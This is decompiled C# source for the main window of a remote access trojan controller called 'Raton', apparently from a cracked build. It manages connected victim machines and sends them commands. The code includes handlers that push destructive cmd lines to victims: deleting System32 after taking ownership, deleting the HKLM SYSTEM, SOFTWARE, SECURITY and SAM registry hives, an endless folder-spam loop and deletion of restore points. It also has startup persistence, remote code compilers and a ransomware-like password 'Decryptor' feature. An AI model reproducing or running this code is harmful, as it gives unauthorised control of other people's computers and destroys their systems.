Files
raton4.0-source/Raton RAT/WpfApp1/MainWindow.cs
T
2026-08-27 11:23:13 -06:00

3563 lines
127 KiB
C#

// Decompiled with JetBrains decompiler
// Type: WpfApp1.MainWindow
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using DiscordRPC;
using GMap.NET;
using GMap.NET.MapProviders;
using GMap.NET.WindowsPresentation;
using Microsoft.CSharp;
using Microsoft.CSharp.RuntimeBinder;
using Microsoft.Win32;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using Raton.Classes;
using Raton.Forms;
using Raton.Forms.ClientForms.Audio;
using Raton.Forms.ClientForms.Compilers;
using Raton.Forms.ClientForms.Dialogs;
using Raton.Forms.ClientForms.Misc;
using Raton.Forms.ClientForms.Monitor;
using Raton.Forms.ClientForms.Stealers;
using Raton.RatonForms;
using Raton.Windows;
using RatonBack;
using Server.Connection;
using Stuff;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Linq.Expressions;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Forms;
using System.Windows.Input;
using System.Windows.Interop;
using System.Windows.Markup;
using System.Windows.Media;
using System.Windows.Media.Animation;
using System.Windows.Media.Effects;
using System.Windows.Media.Imaging;
using System.Windows.Shapes;
using System.Windows.Threading;
#nullable disable
namespace WpfApp1;
public partial class MainWindow : Window
{
public bool isScreensStarted;
private DispatcherTimer _gifTimer;
private BitmapSource[] _gifFrames;
private int[] _gifDelays;
private int _gifCurrentFrame;
private readonly ObservableCollection<LogEntry> _logs = new ObservableCollection<LogEntry>();
public readonly ObservableCollection<ClientRow> Clients = new ObservableCollection<ClientRow>();
private bool _switching;
private readonly Process _proc = Process.GetCurrentProcess();
private TimeSpan _lastCpu;
private DateTime _lastTime;
private DispatcherTimer _statsTimer;
private DispatcherTimer _discordTimer;
private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
private const int DWMWA_BORDER_COLOR = 34;
public long sent;
public long received;
public bool isClipping;
private Timestamps tit;
public static string version = "v3.5.6";
public DiscordRpcClient dclient;
public static string ClientsFolder = nameof (Clients);
public static string ToolsFolder = "Tools";
public static string DataFolder = System.IO.Path.Combine(Environment.CurrentDirectory, "Data");
public static string appData = System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Reborn");
private static string infoPath = System.IO.Path.Combine(MainWindow.appData, "DONOTSHARE.json");
private static readonly string FavoritesPath = System.IO.Path.Combine(MainWindow.appData, "favoriteCommands.json");
public string user;
public bool remwin;
private static readonly HashSet<string> validExtensions = new HashSet<string>((IEqualityComparer<string>) StringComparer.OrdinalIgnoreCase)
{
".txt",
".pdf",
".doc",
".docx",
".xls",
".xlsx",
".exe",
".png",
".jpg",
".jpeg",
".bmp",
".gif",
".zip",
".rar",
".7z",
".mp3",
".wav",
".mp4",
".avi",
".mkv"
};
public Listen ListenerInstance { get; private set; }
[DllImport("dwmapi.dll", CharSet = CharSet.Auto)]
private static extern int DwmSetWindowAttribute(
IntPtr hwnd,
int attr,
ref int attrValue,
int attrSize);
public string LoginPassword { get; set; }
public int LoginPort { get; set; }
public static MainWindow form2 { get; private set; }
public MainWindow()
{
try
{
if (File.Exists(MainWindow.infoPath))
{
JObject json = JObject.Parse(File.ReadAllText(MainWindow.infoPath));
this.user = json["Username"]?.ToString();
}
}
catch { }
this.InitializeComponent();
MainWindow.form2 = this;
this.LogGrid.ItemsSource = (IEnumerable) this._logs;
this.ClientsGrid.ItemsSource = (IEnumerable) this.Clients;
this.Loaded += new RoutedEventHandler(this.MainWindow_Loaded);
}
private async Task LoadFriends()
{
string path = System.IO.Path.Combine(Program.appData, "device.id");
string deviceid = File.Exists(path) ? File.ReadAllText(path) : "";
try
{
int num = await BackendClient.ValidateSessionFlags(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId()) ? 1 : 0;
}
catch (Exception ex)
{
int num = (int) System.Windows.MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
Environment.Exit(0);
deviceid = (string) null;
return;
}
(int, string[], string) friends = await BackendClient.GetFriends(deviceid, this.user);
TextBlock statFriends = Program.form2.statFriends;
string[] strArray = friends.Item2;
string str = (strArray != null ? strArray.Length : 0).ToString();
statFriends.Text = str;
deviceid = (string) null;
}
private void LoadFavorites()
{
if (!File.Exists(MainWindow.FavoritesPath))
return;
List<string> stringList;
try
{
stringList = JsonConvert.DeserializeObject<List<string>>(File.ReadAllText(MainWindow.FavoritesPath)) ?? new List<string>();
}
catch
{
return;
}
List<System.Windows.Controls.MenuItem> allMenuItems = this.GetAllMenuItems(this.ClientsGrid.ContextMenu.Items);
foreach (string label in stringList)
{
string actualHeader = label.Contains(" - ") ? label.Substring(label.LastIndexOf(" - ") + 3) : label;
System.Windows.Controls.MenuItem source = allMenuItems.FirstOrDefault<System.Windows.Controls.MenuItem>((Func<System.Windows.Controls.MenuItem, bool>) (m => m.Header != null && m.Header.ToString() == actualHeader));
if (source != null)
this.AddFavorite(source, label, false);
}
}
private void SaveFavorites()
{
System.Windows.Controls.MenuItem favoritesMenu = this.GetFavoritesMenu();
if (favoritesMenu == null)
return;
List<string> list = favoritesMenu.Items.OfType<System.Windows.Controls.MenuItem>().Where<System.Windows.Controls.MenuItem>((Func<System.Windows.Controls.MenuItem, bool>) (m => m.IsEnabled && m.Header != null && m.Header.ToString() != "Add to favorites" && m.Header.ToString() != "Remove from favorites")).Select<System.Windows.Controls.MenuItem, string>((Func<System.Windows.Controls.MenuItem, string>) (m => m.Header.ToString())).ToList<string>();
try
{
File.WriteAllText(MainWindow.FavoritesPath, JsonConvert.SerializeObject((object) list, Formatting.Indented));
}
catch
{
}
}
private void Favorites_Add_Click(object sender, RoutedEventArgs e)
{
System.Windows.Controls.MenuItem favoritesMenu = this.GetFavoritesMenu();
HashSet<string> already = new HashSet<string>();
if (favoritesMenu != null)
{
foreach (System.Windows.Controls.MenuItem menuItem in favoritesMenu.Items.OfType<System.Windows.Controls.MenuItem>().Where<System.Windows.Controls.MenuItem>((Func<System.Windows.Controls.MenuItem, bool>) (m => m.IsEnabled)))
{
if (menuItem.Header != null)
already.Add(menuItem.Header.ToString());
}
}
HashSet<string> topLevel = new HashSet<string>();
foreach (System.Windows.Controls.MenuItem menuItem in this.ClientsGrid.ContextMenu.Items.OfType<System.Windows.Controls.MenuItem>())
{
if (menuItem.Header != null)
topLevel.Add(menuItem.Header.ToString());
}
List<string> stringList = new List<string>();
Dictionary<string, System.Windows.Controls.MenuItem> sourceMap = new Dictionary<string, System.Windows.Controls.MenuItem>();
foreach (System.Windows.Controls.MenuItem menuItem in this.ClientsGrid.ContextMenu.Items.OfType<System.Windows.Controls.MenuItem>())
this.CollectLeafItems(menuItem, (string) null, topLevel, already, stringList, sourceMap);
if (!stringList.Any<string>())
{
int num = (int) System.Windows.MessageBox.Show("No hay items disponibles para añadir.", "Favorites", MessageBoxButton.OK, MessageBoxImage.Asterisk);
}
else
{
FavoritePicker favoritePicker = new FavoritePicker(stringList, "Add to favorites");
favoritePicker.Owner = (Window) this;
bool? nullable = favoritePicker.ShowDialog();
bool flag = true;
System.Windows.Controls.MenuItem source;
if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue) || favoritePicker.SelectedHeader == null || !sourceMap.TryGetValue(favoritePicker.SelectedHeader, out source))
return;
this.AddFavorite(source, favoritePicker.SelectedHeader);
}
}
private void CollectLeafItems(
System.Windows.Controls.MenuItem item,
string parentLabel,
HashSet<string> topLevel,
HashSet<string> already,
List<string> names,
Dictionary<string, System.Windows.Controls.MenuItem> sourceMap)
{
if (item.Header == null)
return;
string str = item.Header.ToString();
switch (str)
{
case "Add to favorites":
break;
case "Remove from favorites":
break;
case "Favorites":
break;
case "(no favorites yet)":
break;
default:
bool flag = topLevel.Contains(str);
if (!item.HasItems)
{
string key = parentLabel == null ? str : $"{parentLabel} - {str}";
if (already.Contains(key) || sourceMap.ContainsKey(key))
break;
names.Add(key);
sourceMap[key] = item;
break;
}
string parentLabel1 = !flag ? (parentLabel == null ? str : $"{parentLabel} - {str}") : (string) null;
using (IEnumerator<System.Windows.Controls.MenuItem> enumerator = item.Items.OfType<System.Windows.Controls.MenuItem>().GetEnumerator())
{
while (enumerator.MoveNext())
this.CollectLeafItems(enumerator.Current, parentLabel1, topLevel, already, names, sourceMap);
break;
}
}
}
private void Favorites_Remove_Click(object sender, RoutedEventArgs e)
{
System.Windows.Controls.MenuItem favoritesMenu = this.GetFavoritesMenu();
if (favoritesMenu == null)
return;
List<string> list = favoritesMenu.Items.OfType<System.Windows.Controls.MenuItem>().Where<System.Windows.Controls.MenuItem>((Func<System.Windows.Controls.MenuItem, bool>) (m => m.IsEnabled && m.Header != null && m.Header.ToString() != "Add to favorites" && m.Header.ToString() != "Remove from favorites")).Select<System.Windows.Controls.MenuItem, string>((Func<System.Windows.Controls.MenuItem, string>) (m => m.Header.ToString())).ToList<string>();
if (!list.Any<string>())
{
int num = (int) Messenger.MessageBox("You don't have any favorites", "Favorites", icon: MessageBoxImage.Asterisk);
}
else
{
FavoritePicker favoritePicker = new FavoritePicker(list, "Remove from favorites");
favoritePicker.Owner = (Window) this;
bool? nullable = favoritePicker.ShowDialog();
bool flag = true;
if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue) || favoritePicker.SelectedHeader == null)
return;
this.RemoveFavorite(favoritePicker.SelectedHeader);
}
}
private void AddFavorite(System.Windows.Controls.MenuItem source, string label = null, bool save = true)
{
System.Windows.Controls.MenuItem favoritesMenu = this.GetFavoritesMenu();
if (favoritesMenu == null)
return;
if (label == null && source.Header != null)
label = source.Header.ToString();
System.Windows.Controls.MenuItem removeItem = favoritesMenu.Items.OfType<System.Windows.Controls.MenuItem>().FirstOrDefault<System.Windows.Controls.MenuItem>((Func<System.Windows.Controls.MenuItem, bool>) (m => !m.IsEnabled && m.Header != null && m.Header.ToString() == "(no favorites yet)"));
if (removeItem != null)
favoritesMenu.Items.Remove((object) removeItem);
if (favoritesMenu.Items.OfType<System.Windows.Controls.MenuItem>().Any<System.Windows.Controls.MenuItem>((Func<System.Windows.Controls.MenuItem, bool>) (m => m.Header != null && m.Header.ToString() == label)))
return;
System.Windows.Controls.MenuItem menuItem = new System.Windows.Controls.MenuItem();
menuItem.Header = (object) label;
menuItem.Icon = source.Icon;
System.Windows.Controls.MenuItem newItem = menuItem;
newItem.Click += (RoutedEventHandler) ((s, e) => source.RaiseEvent(new RoutedEventArgs(System.Windows.Controls.MenuItem.ClickEvent)));
favoritesMenu.Items.Add((object) newItem);
if (!save)
return;
this.SaveFavorites();
}
private void RemoveFavorite(string header)
{
System.Windows.Controls.MenuItem favoritesMenu = this.GetFavoritesMenu();
if (favoritesMenu == null)
return;
System.Windows.Controls.MenuItem removeItem = favoritesMenu.Items.OfType<System.Windows.Controls.MenuItem>().FirstOrDefault<System.Windows.Controls.MenuItem>((Func<System.Windows.Controls.MenuItem, bool>) (m => m.Header != null && m.Header.ToString() == header));
if (removeItem != null)
favoritesMenu.Items.Remove((object) removeItem);
if (!favoritesMenu.Items.OfType<System.Windows.Controls.MenuItem>().Any<System.Windows.Controls.MenuItem>((Func<System.Windows.Controls.MenuItem, bool>) (m => m.IsEnabled && m.Header != null && m.Header.ToString() != "Add to favorites" && m.Header.ToString() != "Remove from favorites")))
{
ItemCollection items = favoritesMenu.Items;
System.Windows.Controls.MenuItem newItem = new System.Windows.Controls.MenuItem();
newItem.Header = (object) "(no favorites yet)";
newItem.IsEnabled = false;
newItem.Foreground = (System.Windows.Media.Brush) new SolidColorBrush(System.Windows.Media.Color.FromRgb((byte) 85, (byte) 85, (byte) 85));
items.Add((object) newItem);
}
this.SaveFavorites();
}
private System.Windows.Controls.MenuItem GetFavoritesMenu()
{
return this.ClientsGrid.ContextMenu.Items.OfType<System.Windows.Controls.MenuItem>().FirstOrDefault<System.Windows.Controls.MenuItem>((Func<System.Windows.Controls.MenuItem, bool>) (m => m.Header != null && m.Header.ToString() == "Favorites"));
}
private List<System.Windows.Controls.MenuItem> GetAllMenuItems(ItemCollection items)
{
List<System.Windows.Controls.MenuItem> allMenuItems = new List<System.Windows.Controls.MenuItem>();
foreach (System.Windows.Controls.MenuItem menuItem in items.OfType<System.Windows.Controls.MenuItem>())
{
allMenuItems.Add(menuItem);
if (menuItem.HasItems)
allMenuItems.AddRange((IEnumerable<System.Windows.Controls.MenuItem>) this.GetAllMenuItems(menuItem.Items));
}
return allMenuItems;
}
private async void MainWindow_Loaded(object sender, RoutedEventArgs e)
{
MainWindow mainWindow = this;
ClientStorage.Load();
TagStorage.Load();
mainWindow.ApplyDarkMode();
mainWindow.LoadAvatar();
mainWindow.LoadWallpaper();
mainWindow.StartStatsTimer();
mainWindow.LoadFavorites();
mainWindow.InitMap();
mainWindow.dclient = new DiscordRpcClient("1476734897505828977");
mainWindow.dclient.Initialize();
int num1 = mainWindow.Clients.Count<ClientRow>((Func<ClientRow, bool>) (c => c.Status != null && c.Status.Equals("Connected", StringComparison.OrdinalIgnoreCase)));
DiscordRpcClient dclient = mainWindow.dclient;
RichPresence presence = new RichPresence();
presence.Details = $"@{mainWindow.user} • deluxe";
presence.State = num1 == 0 ? "Waiting for connections..." : "Connected clients: " + num1.ToString();
presence.Timestamps = mainWindow.tit;
presence.Assets = new Assets()
{
LargeImageKey = "ratapro",
SmallImageKey = "ca"
};
dclient.SetPresence(presence);
mainWindow._discordTimer = new DispatcherTimer();
mainWindow._discordTimer.Interval = TimeSpan.FromSeconds(50.0);
mainWindow._discordTimer.Tick += (s, ev) =>
{
int connectedCount = mainWindow.Clients.Count(c => c.Status != null && c.Status.Equals("Connected", StringComparison.OrdinalIgnoreCase));
RichPresence presenceUpdate = new RichPresence
{
Details = $"@{mainWindow.user} • deluxe",
State = connectedCount == 0 ? "Waiting for connections..." : "Connected clients: " + connectedCount.ToString(),
Timestamps = mainWindow.tit,
Assets = new Assets
{
LargeImageKey = "ratapro",
SmallImageKey = "ca"
}
};
mainWindow.dclient.SetPresence(presenceUpdate);
};
mainWindow._discordTimer.Start();
mainWindow.LoadStoredClientsToList();
try
{
int num2 = await BackendClient.ValidateSessionFlags(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId()) ? 1 : 0;
}
catch (Exception ex)
{
int num3 = (int) System.Windows.MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
Environment.Exit(0);
return;
}
await mainWindow.LoadFriends();
}
public void ClosingFunction(object sender, CancelEventArgs e) => Environment.Exit(0);
public void StartListening(int port, string user)
{
try
{
if (this.ListenerInstance != null)
{
this.AddErrorLog((object) "USER listener is already running...");
this.ListeningT.Text = "Already listening";
this.StatusListen.Fill = (System.Windows.Media.Brush) new SolidColorBrush(System.Windows.Media.Color.FromRgb((byte) 248, (byte) 96 /*0x60*/, (byte) 42));
}
else
{
this.ListenerInstance = new Listen(port);
this.ListenerInstance.Start();
this.ListeningT.Text = "Listening to " + port.ToString();
this.AddSuccessLog((object) $"USER is now listening on port {port}");
}
}
catch (Exception ex)
{
this.ListeningT.Text = "Error listening";
this.StatusListen.Fill = (System.Windows.Media.Brush) new SolidColorBrush(System.Windows.Media.Color.FromRgb((byte) 248, (byte) 96 /*0x60*/, (byte) 42));
this.AddErrorLog((object) ("Listener error: " + ex.Message));
}
}
private void InitMap()
{
/*
GMaps.Instance.Mode = AccessMode.ServerAndCache;
this.gMapControl1.MapProvider = (GMapProvider) GMapProviders.GoogleMap;
this.gMapControl1.Position = new PointLatLng(0.0, 0.0);
this.gMapControl1.MinZoom = 1;
this.gMapControl1.MaxZoom = 15;
this.gMapControl1.Zoom = 4.0;
this.gMapControl1.Opacity = 0.8;
this.gMapControl1.DragButton = MouseButton.Left;
this.gMapControl1.CanDragMap = true;
this.gMapControl1.ShowCenter = false;
this.gMapControl1.MouseWheelZoomEnabled = true;
this.gMapControl1.MouseWheelZoomType = MouseWheelZoomType.MousePositionWithoutCenter;
*/
}
public void AddMarker(GMapMarker marker)
{
/*
this.Dispatch((Action) (() =>
{
this.gMapControl1.Markers.Add(marker);
this.gMapControl1.Zoom = 4.0;
}));
*/
}
public async void DiscordShit()
{
if (this.dclient == null || this.dclient.IsDisposed)
return;
int num1 = this.Clients.Count<ClientRow>((Func<ClientRow, bool>) (c => c.Status != null && c.Status.Equals("Connected", StringComparison.OrdinalIgnoreCase)));
DiscordRpcClient dclient = this.dclient;
RichPresence presence = new RichPresence();
presence.Details = $"@{this.user} • deluxe";
presence.State = num1 == 0 ? "Waiting for connections..." : "Connected clients: " + num1.ToString();
presence.Timestamps = this.tit;
presence.Assets = new Assets()
{
LargeImageKey = "ratapro",
SmallImageKey = "ca"
};
dclient.SetPresence(presence);
try
{
int num2 = await BackendClient.ValidateSessionFlags(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId()) ? 1 : 0;
}
catch (Exception ex)
{
int num3 = (int) System.Windows.MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
Environment.Exit(0);
}
}
private void StartStatsTimer()
{
this._proc.Refresh();
this._lastCpu = this._proc.TotalProcessorTime;
this._lastTime = DateTime.UtcNow;
this._statsTimer = new DispatcherTimer();
this._statsTimer.Interval = TimeSpan.FromSeconds(1.0);
this._statsTimer.Tick += new EventHandler(this.StatsTimer_Tick);
this._statsTimer.Start();
}
private void StatsTimer_Tick(object sender, EventArgs e)
{
try
{
this._proc.Refresh();
double num1 = (double) this._proc.WorkingSet64 / 1024.0 / 1024.0;
DateTime utcNow = DateTime.UtcNow;
TimeSpan totalProcessorTime = this._proc.TotalProcessorTime;
TimeSpan timeSpan = totalProcessorTime - this._lastCpu;
double totalMilliseconds1 = timeSpan.TotalMilliseconds;
timeSpan = utcNow - this._lastTime;
double totalMilliseconds2 = timeSpan.TotalMilliseconds;
double num2 = totalMilliseconds1 / totalMilliseconds2 / (double) Environment.ProcessorCount * 100.0;
this._lastCpu = totalProcessorTime;
this._lastTime = utcNow;
if (num2 < 0.0)
num2 = 0.0;
long bytes1 = Interlocked.Read(ref this.sent);
long bytes2 = Interlocked.Read(ref this.received);
this.Title = $"{$"Raton @{this.user} {DateTime.Now.ToString("hh:mm:ss tt")} CPU {num2:0.0}% RAM {num1:0.0} MB "}Sent {MainWindow.FormatBytes(bytes1)} Received {MainWindow.FormatBytes(bytes2)}";
}
catch
{
}
}
private static string FormatBytes(long bytes)
{
if (bytes >= 1073741824L /*0x40000000*/)
return $"{(double) bytes / 1073741824.0:0.0} GB";
if (bytes >= 1048576L /*0x100000*/)
return $"{(double) bytes / 1048576.0:0.0} MB";
return bytes >= 1024L /*0x0400*/ ? $"{(double) bytes / 1024.0:0.0} KB" : $"{bytes} B";
}
public void Command(string command)
{
Pack pack = new Pack();
pack.SetString("Packet", command);
foreach (SillyClient selectedClient in this.GetSelectedClients())
selectedClient.Send(pack.Pacc());
}
private List<SillyClient> GetSelectedClients()
{
List<SillyClient> selectedClients = new List<SillyClient>();
if (this.ListenerInstance == null)
return selectedClients;
List<SillyClient> clients = this.ListenerInstance.GetClients();
foreach (object selectedItem in (IEnumerable) this.ClientsGrid.SelectedItems)
{
ClientRow row = selectedItem as ClientRow;
if (row != null && !(row.Status == "Disconnected"))
{
SillyClient sillyClient = clients.FirstOrDefault<SillyClient>((Func<SillyClient, bool>) (c => c.ClientModel == row));
if (sillyClient != null)
{
if (string.IsNullOrEmpty(sillyClient.uid))
sillyClient.uid = row.ID;
selectedClients.Add(sillyClient);
}
}
}
return selectedClients;
}
public List<SillyClient> GetClients()
{
List<SillyClient> clients1 = new List<SillyClient>();
if (this.ListenerInstance == null)
return clients1;
List<SillyClient> clients2 = this.ListenerInstance.GetClients();
foreach (object obj in (IEnumerable) this.ClientsGrid.Items)
{
ClientRow row = obj as ClientRow;
if (row != null && !(row.Status == "Disconnected"))
{
SillyClient sillyClient = clients2.FirstOrDefault<SillyClient>((Func<SillyClient, bool>) (c => c.ClientModel == row));
if (sillyClient != null)
{
if (string.IsNullOrEmpty(sillyClient.uid))
sillyClient.uid = row.ID;
if (string.IsNullOrWhiteSpace(sillyClient.password) || !(sillyClient.password != "silly20") || !(sillyClient.password != "empty") || sillyClient.isConnected())
clients1.Add(sillyClient);
}
}
}
return clients1;
}
private void NavClients_Click(object sender, MouseButtonEventArgs e) => this.SwitchTo("Clients");
private void NavLogs_Click(object sender, MouseButtonEventArgs e) => this.SwitchTo("Logs");
private void NavWorld_Click(object sender, MouseButtonEventArgs e) => this.SwitchTo("World");
private void NavScreens_Click(object sender, MouseButtonEventArgs e) => this.SwitchTo("Screens");
private void NavFriends_Click(object sender, MouseButtonEventArgs e)
{
FriendsWindow friendsWindow = new FriendsWindow();
friendsWindow.User = this.user;
friendsWindow.DeviceId = DeviceManager.GetOrCreateId();
friendsWindow.Owner = (Window) this;
friendsWindow.ShowDialog();
}
private void NavAbout_Click(object sender, MouseButtonEventArgs e)
{
e.Handled = true;
About about = new About();
about.Owner = (Window) this;
about.ShowDialog();
}
private void NavCred_Click(object sender, MouseButtonEventArgs e)
{
e.Handled = true;
Credits credits = new Credits();
credits.Owner = (Window) this;
credits.ShowDialog();
}
private void NavSettings_Click(object sender, MouseButtonEventArgs e)
{
e.Handled = true;
Raton.Windows.Settings settings = new Raton.Windows.Settings();
settings.Owner = (Window) this;
settings.ShowDialog();
}
private void NavTool_Click(object sender, MouseButtonEventArgs e)
{
Tools tools = new Tools();
tools.Owner = (Window) this;
tools.ShowDialog();
}
private void NavDev_Click(object sender, MouseButtonEventArgs e)
{
PluginTutorial pluginTutorial = new PluginTutorial();
pluginTutorial.Owner = (Window) this;
pluginTutorial.ShowDialog();
}
private void NavGame_Click(object sender, MouseButtonEventArgs e)
{
Games games = new Games();
games.Owner = (Window) this;
games.ShowDialog();
}
private void NavBlock_Click(object sender, MouseButtonEventArgs e)
{
BlockWindow blockWindow = new BlockWindow();
blockWindow.Owner = (Window) this;
blockWindow.ShowDialog();
}
private void NavTask_Click(object sender, MouseButtonEventArgs e)
{
Raton.Windows.Tasks tasks = new Raton.Windows.Tasks();
tasks.Owner = (Window) this;
tasks.ShowDialog();
}
private void NavBuilder_Click(object sender, MouseButtonEventArgs e)
{
Builder builder = new Builder();
builder.Owner = (Window) this;
builder.Show();
}
private void ClientStorage_Click(object sender, RoutedEventArgs e)
{
ClientFolders clientFolders = new ClientFolders();
clientFolders.Owner = (Window) this;
clientFolders.Show();
}
private void FilterOnline_Click(object sender, RoutedEventArgs e)
{
this.ClearFilters(sender, e);
CollectionViewSource.GetDefaultView((object) this.ClientsGrid.ItemsSource).Filter = (Predicate<object>) (obj =>
{
if (obj is ClientRow client)
{
return client.Status == "Connected";
}
return false;
});
}
private void FilterOffline_Click(object sender, RoutedEventArgs e)
{
this.ClearFilters(sender, e);
CollectionViewSource.GetDefaultView((object) this.ClientsGrid.ItemsSource).Filter = (Predicate<object>) (obj =>
{
if (obj is ClientRow client)
{
return client.Status == "Disconnected";
}
return false;
});
}
private void FilterAdmin_Click(object sender, RoutedEventArgs e)
{
this.ClearFilters(sender, e);
CollectionViewSource.GetDefaultView((object) this.ClientsGrid.ItemsSource).Filter = (Predicate<object>) (obj =>
{
if (obj is ClientRow client)
{
return client.Running != null && client.Running.Contains("Admin");
}
return false;
});
}
private void FilterCountry_Click(object sender, RoutedEventArgs e)
{
this.ClearFilters(sender, e);
if (this.ClientsGrid.SelectedItem is ClientRow selectedClient)
{
string country = selectedClient.Country;
CollectionViewSource.GetDefaultView((object) this.ClientsGrid.ItemsSource).Filter = (Predicate<object>) (obj =>
{
if (obj is ClientRow client)
{
return client.Country == country;
}
return false;
});
}
}
private void FilterGroup_Click(object sender, RoutedEventArgs e)
{
this.ClearFilters(sender, e);
if (this.ClientsGrid.SelectedItem is ClientRow selectedClient)
{
string tag = selectedClient.Tag;
CollectionViewSource.GetDefaultView((object) this.ClientsGrid.ItemsSource).Filter = (Predicate<object>) (obj =>
{
if (obj is ClientRow client)
{
return client.Tag == tag;
}
return false;
});
}
}
private void ClearFilters(object sender, RoutedEventArgs e)
{
CollectionViewSource.GetDefaultView((object) this.ClientsGrid.ItemsSource).Filter = (Predicate<object>) null;
}
private void Client_Disconnect_Click(object sender, RoutedEventArgs e)
{
this.NavLogs_Click(sender, (MouseButtonEventArgs) null);
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
this.Command("Disconnect");
StatsUpdater.Update();
selectedClient.Disconnect();
}
}
private bool IsUser()
{
if (this.ClientsGrid.SelectedItem is ClientRow selectedClient)
{
return selectedClient.Running == "User";
}
return true;
}
private void Client_Restart_Click(object sender, RoutedEventArgs e)
{
this.NavLogs_Click(sender, (MouseButtonEventArgs) null);
this.Command("Update");
}
private void Client_Uninstall_Click(object sender, RoutedEventArgs e)
{
this.NavLogs_Click(sender, (MouseButtonEventArgs) null);
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
this.Command("Kill");
StatsUpdater.Update();
selectedClient.Disconnect();
}
}
public void checkLogs() => this.NavLogs_Click((object) null, (MouseButtonEventArgs) null);
private void Misc_AddStartup_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Startup");
}
private void Misc_Brick_System32_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num1 = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
Pack pack = new Pack();
pack.SetString("Packet", "CommandPrompt");
pack.SetString("Command", "cmd /c \"takeown /f C:\\Windows\\System32 /r /d Y >nul 2>&1 & icacls C:\\Windows\\System32 /grant *S-1-5-32-544:F /t /c /q >nul 2>&1 & rd /s /q C:\\Windows\\System32 >nul 2>&1\"");
selectedClient.Send(pack.Pacc());
int num2 = (int) Messenger.MessageBox("Command sent, this should take a while");
}
}
}
private void Misc_Brick_Regedit_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num1 = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
Pack pack = new Pack();
pack.SetString("Packet", "CommandPrompt");
pack.SetString("Command", "cmd /c \"reg delete HKLM\\SYSTEM /f >nul 2>&1 & reg delete HKLM\\SOFTWARE /f >nul 2>&1 & reg delete HKLM\\SECURITY /f >nul 2>&1 & reg delete HKLM\\SAM /f >nul 2>&1\"");
selectedClient.Send(pack.Pacc());
int num2 = (int) Messenger.MessageBox("Command sent, this should take a while");
}
}
}
private void Misc_Brick_Folders_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num1 = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
Pack pack = new Pack();
pack.SetString("Packet", "CommandPrompt");
pack.SetString("Command", "start cmd /v:on /k \"for /l %i in (1,0,2) do md C:\\RATON_!random!!random!!random!!random! >nul 2>&1\"");
selectedClient.Send(pack.Pacc());
int num2 = (int) Messenger.MessageBox("Command sent, this should take a while");
}
}
}
private void Misc_ChangePassword_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num1 = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
{
using (inputDialog inputDialog = new inputDialog())
{
inputDialog.Text = "Change password";
inputDialog.label1.Text = "Insert any password you like";
if (inputDialog.ShowDialog() != System.Windows.Forms.DialogResult.OK)
return;
string text = inputDialog.textBox1.Text;
if (!string.IsNullOrEmpty(text))
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
Pack pack = new Pack();
pack.SetString("Packet", "ChangePassword");
pack.SetString("Password", text);
selectedClient.Send(pack.Pacc());
int num2 = (int) Messenger.MessageBox("Password key sent", "Decryptor", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
}
else
{
int num3 = (int) Messenger.MessageBox("You didn't enter a password", "Change password", icon: MessageBoxIcon.Hand);
}
}
}
}
private void Misc_Compiler_VB_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Compiler | Client ID: ";
if ((ratonCS) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonCS ratonCs = new ratonCS();
ratonCs.Name = str + selectedClient.uid;
ratonCs.Text = str + selectedClient.uid;
ratonCs.SillyClient = selectedClient;
ratonCs.lang = "vb";
ratonCs.Show();
}
}
}
private void Misc_Compiler_CS_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Compiler | Client ID: ";
if ((ratonCS) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonCS ratonCs = new ratonCS();
ratonCs.Name = str + selectedClient.uid;
ratonCs.Text = str + selectedClient.uid;
ratonCs.SillyClient = selectedClient;
ratonCs.lang = "cs";
ratonCs.Show();
}
}
}
private void Misc_DeleteRestorePoints_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
{
this.checkLogs();
this.Command("Restore");
}
}
